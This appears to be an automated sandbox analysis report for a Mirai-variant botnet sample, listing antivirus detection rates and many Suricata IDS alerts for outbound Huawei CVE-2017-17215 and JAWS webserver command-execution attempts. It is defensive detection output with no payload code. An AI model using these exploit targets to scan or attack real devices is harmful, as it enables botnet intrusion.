2025-01-30T10:43:47.818463+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44130	41.122.227.254	37215	TCP
2025-01-30T10:43:47.818540+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37692	41.96.131.54	37215	TCP
2025-01-30T10:43:47.831446+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39528	41.29.160.37	37215	TCP
2025-01-30T10:43:47.832150+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56056	41.128.227.239	37215	TCP
2025-01-30T10:43:47.848297+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57822	41.247.97.116	37215	TCP
2025-01-30T10:43:47.849359+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33124	41.239.114.139	37215	TCP
2025-01-30T10:43:47.850757+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42572	197.8.102.122	37215	TCP
2025-01-30T10:43:48.694537+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42262	156.195.4.223	37215	TCP
2025-01-30T10:43:48.850108+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44326	197.198.217.221	37215	TCP
2025-01-30T10:43:48.862878+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60252	197.198.229.100	37215	TCP
2025-01-30T10:43:48.862890+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56160	156.89.145.203	37215	TCP
2025-01-30T10:43:48.864556+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58402	156.126.201.183	37215	TCP
2025-01-30T10:43:48.866621+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38416	156.140.134.225	37215	TCP
2025-01-30T10:43:48.866819+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51922	197.48.9.188	37215	TCP
2025-01-30T10:43:48.868410+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32804	197.90.95.4	37215	TCP
2025-01-30T10:43:48.880519+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57874	41.115.227.226	37215	TCP
2025-01-30T10:43:48.884250+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51280	156.225.118.37	37215	TCP
2025-01-30T10:43:49.599292+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42144	156.67.88.71	37215	TCP
2025-01-30T10:43:49.864648+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33744	41.188.45.204	37215	TCP
2025-01-30T10:43:49.893901+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52182	156.7.243.150	37215	TCP
2025-01-30T10:43:49.894682+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50032	197.181.9.230	37215	TCP
2025-01-30T10:43:49.897796+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33938	156.21.55.184	37215	TCP
2025-01-30T10:43:49.897876+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47966	41.145.31.94	37215	TCP
2025-01-30T10:43:50.878538+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53968	156.37.13.239	37215	TCP
2025-01-30T10:43:50.878549+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58408	156.18.130.229	37215	TCP
2025-01-30T10:43:50.878923+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58790	156.3.49.136	37215	TCP
2025-01-30T10:43:50.894100+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48326	41.53.200.123	37215	TCP
2025-01-30T10:43:50.894102+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53898	197.226.253.141	37215	TCP
2025-01-30T10:43:50.894106+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43224	156.101.248.59	37215	TCP
2025-01-30T10:43:50.894191+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37576	156.97.25.5	37215	TCP
2025-01-30T10:43:50.894229+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50250	156.178.206.7	37215	TCP
2025-01-30T10:43:50.894303+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38974	197.63.179.59	37215	TCP
2025-01-30T10:43:50.894398+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52518	156.228.242.11	37215	TCP
2025-01-30T10:43:50.894944+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42864	197.161.117.100	37215	TCP
2025-01-30T10:43:50.895400+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58574	197.143.59.36	37215	TCP
2025-01-30T10:43:50.895422+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33572	41.221.145.176	37215	TCP
2025-01-30T10:43:50.895891+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44750	41.185.9.24	37215	TCP
2025-01-30T10:43:50.895938+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52072	156.89.55.243	37215	TCP
2025-01-30T10:43:50.896032+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57812	156.230.227.42	37215	TCP
2025-01-30T10:43:50.896034+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45912	197.95.15.20	37215	TCP
2025-01-30T10:43:50.896155+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45050	41.212.101.105	37215	TCP
2025-01-30T10:43:50.896297+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60522	41.38.218.175	37215	TCP
2025-01-30T10:43:50.896611+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37866	156.159.45.88	37215	TCP
2025-01-30T10:43:50.896685+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50394	41.2.187.194	37215	TCP
2025-01-30T10:43:50.897243+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46808	197.38.35.202	37215	TCP
2025-01-30T10:43:50.897739+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37714	156.26.178.51	37215	TCP
2025-01-30T10:43:50.897805+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36104	41.126.251.121	37215	TCP
2025-01-30T10:43:50.897922+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53130	197.158.183.133	37215	TCP
2025-01-30T10:43:50.897993+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43218	197.92.197.74	37215	TCP
2025-01-30T10:43:50.898069+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48210	156.128.37.12	37215	TCP
2025-01-30T10:43:50.898211+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46082	197.170.22.135	37215	TCP
2025-01-30T10:43:50.899775+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37020	156.142.13.251	37215	TCP
2025-01-30T10:43:50.899808+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46846	156.151.91.154	37215	TCP
2025-01-30T10:43:50.899827+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39294	41.54.73.210	37215	TCP
2025-01-30T10:43:50.899929+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33804	41.242.98.163	37215	TCP
2025-01-30T10:43:50.900191+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49876	156.192.57.121	37215	TCP
2025-01-30T10:43:50.915887+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58494	156.195.66.54	37215	TCP

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: boatnet.sh4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: boatnet.sh4.elf	Virustotal: Detection: 62%			Perma Link
Source: boatnet.sh4.elf	ReversingLabs: Detection: 70%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36320 -> 103.213.214.129:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36320 -> 103.213.214.129:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60104 -> 23.12.102.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60104 -> 23.12.102.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38638 -> 117.44.222.92:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38712 -> 200.209.40.223:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38712 -> 200.209.40.223:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43494 -> 41.46.127.52:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58678 -> 71.61.126.160:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58678 -> 71.61.126.160:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52636 -> 101.69.104.147:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52636 -> 101.69.104.147:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60026 -> 197.8.180.225:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54300 -> 117.252.34.247:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35008 -> 164.92.235.252:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35008 -> 164.92.235.252:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51982 -> 112.29.209.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51982 -> 112.29.209.167:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57708 -> 156.231.44.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35236 -> 41.221.95.50:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54456 -> 73.211.22.163:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54456 -> 73.211.22.163:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50112 -> 149.247.70.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50112 -> 149.247.70.10:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48872 -> 89.9.237.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48872 -> 89.9.237.196:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54482 -> 130.219.127.143:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57974 -> 133.153.249.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54482 -> 130.219.127.143:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57974 -> 133.153.249.33:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38736 -> 154.164.115.164:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33986 -> 70.171.35.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38736 -> 154.164.115.164:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45876 -> 161.80.48.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45876 -> 161.80.48.54:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56906 -> 120.23.138.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56906 -> 120.23.138.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37028 -> 196.3.191.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37028 -> 196.3.191.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33986 -> 70.171.35.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33624 -> 198.151.162.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33624 -> 198.151.162.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57840 -> 95.58.145.95:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57840 -> 95.58.145.95:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56414 -> 124.170.78.40:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56414 -> 124.170.78.40:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50440 -> 90.64.6.63:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50440 -> 90.64.6.63:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60270 -> 155.198.4.108:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48034 -> 14.190.218.71:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60270 -> 155.198.4.108:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48034 -> 14.190.218.71:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56900 -> 76.228.178.139:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56900 -> 76.228.178.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:32818 -> 57.162.48.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43418 -> 104.250.231.48:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47488 -> 152.30.184.113:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43418 -> 104.250.231.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:32818 -> 57.162.48.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47488 -> 152.30.184.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42018 -> 72.103.254.195:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42018 -> 72.103.254.195:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53886 -> 41.102.78.109:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53886 -> 41.102.78.109:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51166 -> 140.69.154.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34110 -> 218.142.171.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44864 -> 71.52.157.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51166 -> 140.69.154.1:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44864 -> 71.52.157.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34110 -> 218.142.171.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46950 -> 17.43.38.50:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37928 -> 126.245.114.212:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46950 -> 17.43.38.50:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37928 -> 126.245.114.212:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37070 -> 66.84.50.216:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37070 -> 66.84.50.216:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55542 -> 196.131.224.189:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55542 -> 196.131.224.189:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:32880 -> 63.179.229.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41030 -> 64.30.33.55:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49872 -> 59.7.81.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41030 -> 64.30.33.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49872 -> 59.7.81.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:32880 -> 63.179.229.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45982 -> 20.190.13.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45982 -> 20.190.13.119:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58598 -> 109.161.22.103:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58598 -> 109.161.22.103:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41712 -> 107.102.56.208:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41712 -> 107.102.56.208:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38984 -> 8.228.23.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57588 -> 192.36.128.195:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38984 -> 8.228.23.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57588 -> 192.36.128.195:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58990 -> 156.242.124.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34680 -> 156.153.93.40:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43082 -> 196.67.103.186:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43082 -> 196.67.103.186:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42412 -> 41.239.226.175:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45324 -> 161.25.237.43:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39394 -> 156.140.48.212:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45324 -> 161.25.237.43:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35920 -> 156.63.240.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51996 -> 156.1.171.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47634 -> 41.47.143.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44396 -> 41.40.143.60:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37920 -> 167.95.37.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53248 -> 101.30.234.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53248 -> 101.30.234.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34998 -> 202.122.36.255:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51474 -> 41.51.110.42:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40142 -> 124.155.57.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40142 -> 124.155.57.184:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33274 -> 202.243.9.93:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34998 -> 202.122.36.255:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37920 -> 167.95.37.105:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33274 -> 202.243.9.93:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51028 -> 135.121.243.76:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51028 -> 135.121.243.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44670 -> 206.244.102.161:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44670 -> 206.244.102.161:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45120 -> 119.27.8.73:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45120 -> 119.27.8.73:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41936 -> 202.158.129.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41936 -> 202.158.129.118:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52798 -> 18.170.17.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52798 -> 18.170.17.66:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60116 -> 13.31.53.69:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60116 -> 13.31.53.69:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39098 -> 91.92.249.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39098 -> 91.92.249.234:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49098 -> 219.124.101.191:80
